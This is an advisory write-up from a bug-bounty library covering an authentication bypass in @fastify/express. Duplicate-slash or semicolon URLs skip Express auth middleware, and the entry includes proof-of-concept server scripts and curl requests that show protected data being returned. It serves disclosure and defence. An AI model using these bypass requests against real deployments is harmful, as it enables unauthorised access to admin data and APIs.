# @fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)

@fastify/express passes un-normalized URLs to Express middleware, so //admin or /admin;bypass skips path-scoped auth while Fastify still routes to the protected handler.

- Payout: Research
- Severity: critical
- Program: @fastify/express
- Found by (vendor credit): FredKSchott
- Found by: FredKSchott
- Disclosed: 2026-04-16
- CVE: CVE-2026-33808
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6hw5-45gm-fj88
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6hw5-45gm-fj88
- Tags: area:web domain:web impact:ato impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:nodejs technique:parser-differential vuln:access-control vuln:auth-bypass

**Target:** Fastify plugin bridging Express middleware (index.js enhanceRequest)
**Root cause:** enhanceRequest only applies decodeURI() to req.raw.url, so duplicate-slash and semicolon normalizations done by find-my-way for route matching are not reflected in the URL Express middleware sees, causing prefix middleware to not match.
**Steps:**
1. Configure Fastify with `ignoreDuplicateSlashes: true` (or `routerOptions: { useSemicolonDelimiter: true }`) and register `@fastify/express`.
2. Add path-scoped auth middleware `app.use('/admin', authMiddleware)` and a protected route `app.get('/admin/dashboard')`.
3. Send `GET /admin/dashboard` — middleware fires, returns 403.
4. Send `GET //admin/dashboard` (or `///admin/dashboard`, `/.//admin/dashboard`) — Fastify normalizes and matches the route, Express middleware is skipped, handler returns 200 with secret.
5. For semicolon vector send `GET /admin;bypass` or `/admin;` — router splits at `;` and matches `/admin`, Express regex `/^\/admin\/?(?=\/|$)/i` fails on the semicolon, middleware skipped, handler returns 200.
**How found:** Noticed that @fastify/express's enhanceRequest only calls decodeURI() while find-my-way applies ignoreDuplicateSlashes and useSemicolonDelimiter during matching, then tested whether Express prefix middleware still matched the raw URL — it did not.
**Exploitation:** Unauthenticated attacker requests the protected path with a leading duplicate slash or a trailing semicolon; Fastify's router normalizes and dispatches to the protected handler while the Express auth middleware never runs, yielding admin data/APIs.
**Insight:** When a framework normalizes URLs for routing but forwards the raw URL to a second middleware stack, any normalization option (duplicate slashes, semicolon delimiters, percent-encoding) becomes an auth-bypass primitive; test each documented router option against path-scoped middleware.

## Proof of concept (copied exactly from the original report)

**Duplicate-slash bypass server and curl proof**

```
const fastify = require('fastify')

async function start() {
  const app = fastify({
    logger: false,
    ignoreDuplicateSlashes: true,  // documented Fastify option
  })

  await app.register(require('@fastify/express'))

  // Standard Express middleware auth pattern
  app.use('/admin', function expressAuthGate(req, res, next) {
    const auth = req.headers.authorization
    if (!auth || auth !== 'Bearer admin-secret-token') {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
      return
    }
    next()
  })

  // Protected route
  app.get('/admin/dashboard', async (request) => {
    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
  })

  await app.listen({ port: 3000 })
  console.log('Listening on http://localhost:3000')
}
start()

# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}

# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}
```

**Semicolon bypass test script**

```
const fastify = require('fastify')
const http = require('http')

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = ''
      res.on('data', (chunk) => data += chunk)
      res.on('end', () => resolve({ status: res.statusCode, body: data }))
    }).on('error', reject)
  })
}

async function test() {
  const app = fastify({ 
    logger: false, 
    routerOptions: { useSemicolonDelimiter: true }
  })
  await app.register(require('@fastify/express'))
  
  // Auth middleware blocking unauthenticated access
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden' }))
      return
    }
    next()
  })
  
  app.get('/admin', async () => ({ secret: 'classified-info' }))
  
  await app.listen({ port: 19900, host: '0.0.0.0' })
  
  // Blocked:
  let r = await get(19900, '/admin')
  console.log('/admin:', r.status, r.body)
  // Output: /admin: 403 {"error":"Forbidden"}
  
  // BYPASS:
  r = await get(19900, '/admin;bypass')
  console.log('/admin;bypass:', r.status, r.body)
  // Output: /admin;bypass: 200 {"secret":"classified-info"}
  
  r = await get(19900, '/admin;')
  console.log('/admin;:', r.status, r.body)
  // Output: /admin;: 200 {"secret":"classified-info"}
  
  await app.close()
}
test()
```

